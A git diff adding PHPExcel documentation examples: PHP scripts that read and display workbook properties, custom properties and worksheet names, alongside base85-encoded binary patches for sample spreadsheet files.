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 literal 0 HcmV?d00001 diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader01.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader01.php new file mode 100644 index 00000000..4f8dfdf7 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader01.php @@ -0,0 +1,93 @@ + + + + + +PHPExcel Reading WorkBook Data Example #01 + + + + +

        PHPExcel Reading WorkBook Data Example #01

        +

        Read the WorkBook Properties

        +load($inputFileName); + + +echo '
        '; + +/** Read the document's creator property **/ +$creator = $objPHPExcel->getProperties()->getCreator(); +echo 'Document Creator: ',$creator,'
        '; + +/** Read the Date when the workbook was created (as a PHP timestamp value) **/ +$creationDatestamp = $objPHPExcel->getProperties()->getCreated(); +/** Format the date and time using the standard PHP date() function **/ +$creationDate = date('l, d<\s\up>S F Y',$creationDatestamp); +$creationTime = date('g:i A',$creationDatestamp); +echo 'Created On: ',$creationDate,' at ',$creationTime,'
        '; + +/** Read the name of the last person to modify this workbook **/ +$modifiedBy = $objPHPExcel->getProperties()->getLastModifiedBy(); +echo 'Last Modified By: ',$modifiedBy,'
        '; + +/** Read the Date when the workbook was last modified (as a PHP timestamp value) **/ +$modifiedDatestamp = $objPHPExcel->getProperties()->getModified(); +/** Format the date and time using the standard PHP date() function **/ +$modifiedDate = date('l, d<\s\up>S F Y',$modifiedDatestamp); +$modifiedTime = date('g:i A',$modifiedDatestamp); +echo 'Last Modified On: ',$modifiedDate,' at ',$modifiedTime,'
        '; + +/** Read the workbook title property **/ +$workbookTitle = $objPHPExcel->getProperties()->getTitle(); +echo 'Title: ',$workbookTitle,'
        '; + +/** Read the workbook description property **/ +$description = $objPHPExcel->getProperties()->getDescription(); +echo 'Description: ',$description,'
        '; + +/** Read the workbook subject property **/ +$subject = $objPHPExcel->getProperties()->getSubject(); +echo 'Subject: ',$subject,'
        '; + +/** Read the workbook keywords property **/ +$keywords = $objPHPExcel->getProperties()->getKeywords(); +echo 'Keywords: ',$keywords,'
        '; + +/** Read the workbook category property **/ +$category = $objPHPExcel->getProperties()->getCategory(); +echo 'Category: ',$category,'
        '; + +/** Read the workbook company property **/ +$company = $objPHPExcel->getProperties()->getCompany(); +echo 'Company: ',$company,'
        '; + +/** Read the workbook manager property **/ +$manager = $objPHPExcel->getProperties()->getManager(); +echo 'Manager: ',$manager,'
        '; + + +?> + + diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader02.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader02.php new file mode 100644 index 00000000..b8c359d3 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader02.php @@ -0,0 +1,52 @@ + + + + + +PHPExcel Reading WorkBook Data Example #02 + + + + +

        PHPExcel Reading WorkBook Data Example #02

        +

        Read a list of Custom Properties for a WorkBook

        +load($inputFileName); + + +echo '
        '; + +/** Read an array list of any custom properties for this document **/ +$customPropertyList = $objPHPExcel->getProperties()->getCustomProperties(); + +echo 'Custom Property names:
        '; +foreach($customPropertyList as $customPropertyName) { + echo $customPropertyName,'
        '; +} + + + +?> + + diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader03.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader03.php new file mode 100644 index 00000000..8fb350d4 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader03.php @@ -0,0 +1,80 @@ + + + + + +PHPExcel Reading WorkBook Data Example #03 + + + + +

        PHPExcel Reading WorkBook Data Example #03

        +

        Read Custom Property Values for a WorkBook

        +load($inputFileName); + + +echo '
        '; + +/** Read an array list of any custom properties for this document **/ +$customPropertyList = $objPHPExcel->getProperties()->getCustomProperties(); + +echo 'Custom Properties:
        '; +/** Loop through the list of custom properties **/ +foreach($customPropertyList as $customPropertyName) { + echo '',$customPropertyName,': '; + /** Retrieve the property value **/ + $propertyValue = $objPHPExcel->getProperties()->getCustomPropertyValue($customPropertyName); + /** Retrieve the property type **/ + $propertyType = $objPHPExcel->getProperties()->getCustomPropertyType($customPropertyName); + + /** Manipulate properties as appropriate for display purposes **/ + switch($propertyType) { + case 'i' : // integer + $propertyType = 'integer number'; + break; + case 'f' : // float + $propertyType = 'floating point number'; + break; + case 's' : // string + $propertyType = 'string'; + break; + case 'd' : // date + $propertyValue = date('l, d<\s\up>S F Y g:i A',$propertyValue); + $propertyType = 'date'; + break; + case 'b' : // boolean + $propertyValue = ($propertyValue) ? 'TRUE' : 'FALSE'; + $propertyType = 'boolean'; + break; + } + + echo $propertyValue,' (',$propertyType,')
        '; +} + + + +?> + + diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader04.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader04.php new file mode 100644 index 00000000..05ff6374 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/exampleWorkBookReader04.php @@ -0,0 +1,55 @@ + + + + + +PHPExcel Reading WorkBook Data Example #04 + + + + +

        PHPExcel Reading WorkBook Data Example #04

        +

        Get a List of the Worksheets in a WorkBook

        +load($inputFileName); + + +echo '
        '; + +echo 'Reading the number of Worksheets in the WorkBook
        '; +/** Use the PHPExcel object's getSheetCount() method to get a count of the number of WorkSheets in the WorkBook */ +$sheetCount = $objPHPExcel->getSheetCount(); +echo 'There ',(($sheetCount == 1) ? 'is' : 'are'),' ',$sheetCount,' WorkSheet',(($sheetCount == 1) ? '' : 's'),' in the WorkBook

        '; + +echo 'Reading the names of Worksheets in the WorkBook
        '; +/** Use the PHPExcel object's getSheetNames() method to get an array listing the names/titles of the WorkSheets in the WorkBook */ +$sheetNames = $objPHPExcel->getSheetNames(); +foreach($sheetNames as $sheetIndex => $sheetName) { + echo 'WorkSheet #',$sheetIndex,' is named "',$sheetName,'"
        '; +} + + +?> + + diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/sampleData/example1.xls b/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/sampleData/example1.xls new file mode 100644 index 0000000000000000000000000000000000000000..0db0efdcdb6da3a7a99f5e347f034f78c3c57fce GIT binary patch literal 20992 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 Y+#9?HP7=1j=i_tce^7sVsjTw<4dj0Ds{jB1 literal 0 HcmV?d00001 diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/sampleData/example1.xlsx b/vendor/phpoffice/phpexcel/Documentation/Examples/Reading WorkBook Data/sampleData/example1.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..2224dd4fe674dba451e53d763dac310aa30a3b85 GIT binary patch literal 9733 zcmeHNWmH?~x(@E{?q0OGQ;K_m0)=433It7&0>v#@a4${;cXtT16fH%I6lu{yfT9I% zX6BsJ4m0dD_PlV=Y6ujcR$bfT68r~P)Pyk089V?zy$D18e;NC0sw;1000sI zCbFrbs|(oH1#Ds9>t^c-l$$$wPVwud@_%&c(f_*F5`8H?6I&g?=(4;Z4E|5)@l0AZo&|QG^koB&7_*H(J0hUoCtXi0!LHt54 z%THC>NGR4MoP%Qq5jp9~HM!#8?cY(312_owSkQ>Na{cI@B%;U)O)M5MhY zk==sFzXt85$Pcb`8|gG_!bO2^gR6D6==?0h9H3;k?Vq%VWEmF6z_aRj>*LlCU=feK9?^0%{f@(wQuQl)i^1d5w_e%?%1b z_fMiFG4HfRLx^@6p-CKsXe~T!ojv*aetZ8%tpCLd{blLpNn_f50=Te!)po^{%WW6N zu<=PCd+{P6H-RPbX~H~AFG=C_1eFyvRk;mia5hiw<_FipqWJM@oWH{ycgv^;*N~%V zMMbJV7lYC1gRrP+%dxZ+X+3D$>V@N_rVLD&G;10y(ac%5HhMw^fVwyy#PnE2^eOiV z3hek;M0|>F8Z}$G3*}}(k(@-wT|oUJv?Z}nx~1NCF1zf_$9nq!+9B9oo*gVbkfK9WsYPKAXc{A3u7YM!o}vaQ398vS+G^K>$);e?HXjc)SmbFT7i}7Ow_S9VQvKkWLHa_ax(g>C?9gv ziV6zt55Pb<*>d!?csUp?7P5oI1RrXfCh;;jKO>I{hnlCt9fF3t$ONB8TI)o?RA=|i zN{hC>_W{dl>syZih=o$+{4sHUSG_cK2pX1?W1 z>9f*+(pU7x;x@I_m5#cqz;7svcXD(hKa!Kiyj&X8bod;OTVcwFTlcDktx+Hi7FiMzz#w;nFYFO*Yc>GkFQ619ydM8d>mhcsy4l6meE=l-h*d>EhUk{bLN~|Ca z@91X2**gusni~z7KzG-_U6vF`NTUaF3dgWI~YumlC;WoA*ntdt#n#K-4 z@y=8$a`^gV3Ww?gzj@v+g&OhgPo!A9(om}pe4SY++S=;TgHU5KoSJYw)+@@s=lydv z@mQ~+vR~%ZqJ0J4p2yIPm%niY9a>=2^J_Qk-&qeZ3YC<3U~;`1AHX2(Qq(o7dN>xQ zCIPjSEmV~lQrbHVvR2sfK6&93fR9=VdOv)0g7tR~w*6V3;tzBHz!|Z8l0Q5EcCZE6 